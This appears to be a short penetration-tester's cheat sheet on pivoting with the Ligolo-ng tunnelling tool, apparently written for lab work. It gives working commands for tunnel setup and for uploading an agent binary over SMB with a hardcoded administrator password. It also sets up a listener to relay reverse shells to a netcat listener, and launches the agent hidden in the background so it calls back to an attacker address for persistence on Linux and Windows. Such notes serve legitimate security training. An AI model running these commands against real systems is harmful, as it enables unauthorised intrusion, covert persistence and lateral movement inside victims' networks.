Ligolo-ng

Pivoting

Create and activate a new tunnel interface for ligolo :

# Create the interface
sudo ip tuntap add user kali mode tun ligolo
# Activate the interface
sudo ip link set ligolo up

On Ligolo-ng >= v0.6, this can be done in a single step:

ligolo-ng Β» interface_create --name ligolo
INFO[0006] Creating a new "ligolo" interface...
INFO[0006] Interface created!
ligolo-ng Β» interface_list
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Available tuntaps         β”‚
β”œβ”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ # β”‚ TAP NAME β”‚ DST ROUTES β”‚
β”œβ”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ 0 β”‚ ligolo   β”‚            β”‚
β””β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Port-Forward

To access local ports on the connected agent, ligolo-ng uses a hardcoded "magic" CIDR: 240.0.0.0/4:

$ sudo ip route add 240.0.0.1/32 dev ligolo

Agent Transfer & Execution

We don't need elevated privileges on the target to use the ligolo-agent.

$ nxc smb 10.129.204.146 -u Administrator -p 'IpreferanewP@$$' --local-auth --put-file 'agent.exe' '\Windows\Temp\agent.exe'

Reverse Shell

We have a route to the target network, but the target network does not have a route to our attack host. Thus, if we want to catch a reverse shell from a target other than the pivot host:

Create a listener on the agent/pivot host (0.0.0.0:3000) that will redirect the traffic to our proxy/attack host (127.0.0.1:4444).

[Agent : pivot@pivot-machine] >> listener_add --addr 0.0.0.0:3000 --to 127.0.0.1:4444 --tcp
INFO[0373] Listener 0 created on remote agent!

Start listening from our attack host:

$ nc -lvnp 4444
listening on [any] 4444...

Persistence

# Linux targets
nohup /tmp/agent -connect 10.10.14.5:443 -ignore-cert > /dev/null 2>&1 &

# Windows targets
Start-Process -FilePath "C:\Windows\Temp\agent.exe" -ArgumentList "-connect 10.10.14.5:443 -ignore-cert" -WindowStyle Hidden

Resources

Last updated

Was this helpful?